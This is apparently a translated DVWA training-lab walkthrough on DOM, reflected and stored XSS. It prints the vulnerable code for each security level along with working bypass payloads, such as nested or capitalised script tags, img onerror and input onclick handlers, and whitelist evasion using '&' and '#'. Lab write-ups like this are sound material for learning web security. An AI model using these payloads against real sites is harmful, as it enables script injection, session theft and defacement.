Hirofumi in the past:
DVWA shooting range-Brute Force Source brute force cracking
DVWA shooting range-Command Injection
DVWA range-CSRF cross-site request forgery
DVWA range-File Inclusion file contains
DVWA shooting range-File Upload
DVWA shooting range-SQL Injection
DVWA Shooting Range-Weak Session IDs
Setting up of shooting range environment
https://github.com/ethicalhack3r/DVWA
[Network Security Study Articles Attached]: DVWA shooting range construction
table of Contents
DOM XSS DOM型XSS
LOW DOM XSS
Core code:
<div class="vulnerable_code_area">
<p>Please choose a language:</p>
<form name="XSS" method="GET">
<select name="default">
<script>
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
</script><option value="English">English</option><option value="French">French</option><option value="Spanish">Spanish</option><option value="German">German</option>
</select>
<input type="submit" value="Select">
</form>
</div>
DOM XSS is to modify the DOM node of the page, and create a new DOM node through the select button
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
The lang variable here does not have any filtering, just decode the output in the option tag, directly attack
?default=<script>alert(/XSS/)</script>
Medium DOM XSS
Core code:
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
?>
This code will filter the "<script" string in the default submitted parameters. The stripos() function will match the first occurrence of "<script" in the submitted parameters. If it does, it will manually pass the location to the URL behind the parameters Modify it to?default=English
Bypass method:
1. img tag
First, close the option tag and select tag,
?default=English</option></select><img src=xx οnerrοr=alert(/XSS/)>
2. Use the input tag
?default=English<input οnclick=alert(/XSS/)>
High DOM XSS
Core code:
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
The whitelist filtering rules are used here, and those that are not in the whitelist must be changed to English.
Bypass
1、&
?default=English&</option></select><img src=xx οnerrοr=alert(/XSS/)>
?default=English&<input οnclick=alert(/XSS/)>
2、#
?default=English#</option></select><img src=xx οnerrοr=alert(/XSS/)>
?default=English#<input οnclick=alert(/XSS/)>
Impossible DOM XSS
Core code:
<div class="vulnerable_code_area">
<p>Please choose a language:</p>
<form name="XSS" method="GET">
<select name="default">
<script>
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + (lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
</script><option value="English">English</option><option value="French">French</option><option value="Spanish">Spanish</option><option value="German">German</option>
</select>
<input type="submit" value="Select">
</form>
</div>
Analysis of the code shows that impossible does not decode the URL of the input parameters, which naturally leads to the failure of XSS
document.write("<option value='" + lang + "'>" + (lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
Reflected XSS Reflected XSS
Low Reflected XSS
Core code
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
It can be seen that there is no filtering on the input of the variable name, directly attacking
<script>alert(/XSS/)</script>
Medium Reflected XSS
Core code
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
Here we use the str_replace() function to filter the sensitive characters <script> in the name variable, and use regular matching rules to replace sensitive characters with ''.
Bypass method
1. Nesting
<sc<script>ript>alert(/XSS/)</script>
2. Capitalization
<Script>alert(/XSS/)</script>
3. Try other tags
<input οnclick=alert(/XSS/)>
<img src=xxx οnerrοr=alert(/XSS/)>
High Reflected XSS
Core code
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
Here the <script> tag is strictly filtered, we can only use other tags to pop up the window
<input οnclick=alert(/XSS/)>
<img src=xxx οnerrοr=alert(/XSS/)>
Impossible Reflected XSS
Core code
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
At the impossible level, use the htmlspecialchars() function to filter. The htmlspecialchars() function converts predefined characters into HTML entities and enters them into the <pre> tag. There is currently no good way to bypass
Stored XSS Stored XSS
Low Stored XSS
Core code
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = mysqli_real_escape_string($message );
// Sanitize name input
$name = mysqli_real_escape_string($name );
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
}
?>
trim
trim(string,charlist)
Remove the predefined characters on both sides of the string character
If the charlist parameter is omitted, the characters are removed
\0
null
\t
Tabs
\n
Wrap
\ x0B
Vertical tab
\r
Carriage return
Space
stripslashes
stripslashes(string)
Remove backslashes in string characters \
mysql_real_escape_string
mysql_real_escape_string(string,connection)
Escape the special characters used in the sql statement. The connection parameter is optional and specifies the SQL database connection. If not specified, the last connected database is used by default
Affected characters \x00 \n \r \ '"\x1a
These functions only protect the database, and do not filter the XSS, directly attack
name xss
message <script>alert(/XSSLow/)</script>
Medium Stored XSS
Core code
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = mysqli_real_escape_string($message );
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = mysqli_real_escape_string($name );
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
}
?>
addslashes
addslashes(string)
Add a backslash before the predefined characters
Predefined characters' "\ NULL
strip_tags
strip_tags(string,allow)
Remove the HTML, XML, and PHP tags in the string
The allow parameter is optional and specifies that these tags are allowed
htmlspecialchars
htmlspecialchars(string,flags,character-set,double_encode)
Convert predefined characters into HTML entities
Predefined characters & "'<>
You can see that the message variable is filtered thoroughly, but for the name variable, only simple filtering is performed on it
But our browser locally restricts the character length of the name parameter input, this is simple, the local browser manually modify
You can also use BP to capture the package and submit after modifying the value of the name parameter
do not forget! ! !
Bypass method
1. Nesting
name <sc<script>ript>alert(/XSSMED1/)</script>
message XXX
2. Capitalization
name <Script>alert(/XSSMED2/)</script>
message XXX
3. Other tags
name <img src=xxx οnerrοr=alert(/XSSMED3/)>
message XXX
High Stored XSS
Core code
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = mysqli_real_escape_string($message );
$message = htmlspecialchars( $message );
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = mysqli_real_escape_string($name );
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
}
?>
Analyzing the code, I found that the message here is hopeless, continue to look at the name, and find that there is hope for bypassing
name <img src=xxx οnerrοr=alert(/XSSHGH1/)>
message xxx
Impossible Stored XSS
Core code
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = mysqli_real_escape_string($message );
$message = htmlspecialchars( $message );
// Sanitize name input
$name = stripslashes( $name );
$name = mysqli_real_escape_string($name );
$name = htmlspecialchars( $name );
// Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
The message and name variables have been strictly filtered, and the user's token has also been detected. There is no way!